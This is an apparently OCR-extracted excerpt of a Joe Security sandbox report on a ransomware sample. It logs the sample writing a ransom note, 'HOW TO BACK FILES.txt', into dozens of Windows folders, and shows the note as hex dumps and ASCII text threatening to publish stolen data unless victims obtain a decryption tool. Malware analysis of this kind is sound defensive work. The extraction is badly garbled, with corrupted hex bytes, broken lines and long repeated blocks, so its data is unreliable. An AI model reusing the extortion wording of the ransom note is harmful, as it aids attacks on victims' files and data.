64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work
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cryption toolFollow the

instructions to decrypt all

your data

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work
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your data
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File Path

C:\EFI\MicrosoftHOW TO BACK F
ILES.ixt

C:\$Recycle.Bin\S-1-5-21-22461
22658-3693405117-2476756634-10
01\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to
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File Path

C:\EFNHOW TO BACK FILES.txt

C:\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\$Recycle.Bin\S-1-5-21-22461
22658-3693405117-2476756634-10
02\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-22461
22658-3693405117-2476756634-10
03\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path Offset

C:\$Recycle.Bin\HOW TO BACK FI 0
LES.txt

C:\$WinREAgent\HOW TO BACK FIL 0
ES.txt

Copyright Joe Security LLC 2023

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

HelloYour files are success or wait 2 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

Symbol

WriteFile

WriteFile

Page 118 of 379



File Path
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C:\Users\user\.ms-ad\HOW TO BACK 0

FILES.txt

C:\Users\user\3D Objects\HOW TO
BACK FILES.txt

Copyright Joe Security LLC 2023

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 3 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

HelloYour files are success or wait 3 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

Symbol

WriteFile

WriteFile

Page 119 of 379



File Path

C:\Users\user\Contacts\HOW TO
BACK FILES.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\DN
TException\Low\HOW TO BACK FIL
ES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\DN
TException\HOW TO BACK FILES.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\ES
E\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\Lo
W\HOW TO BACK FILES.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\Pr
ivaclE\Low\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\Pr
ivaclE\HOW TO BACK FILES.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\HOW
TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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C:\Users\user\Desktop\DTBZGIOO
SO\HOW TO BACK FILES.txt

C:\Users\user\Desktop\FACWLRWH
GG\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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C:\Users\user\Desktop\IVHSHTCO
DNHOW TO BACK FILES.txt

C:\Users\user\Desktop\JDSOXXXW
OA\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
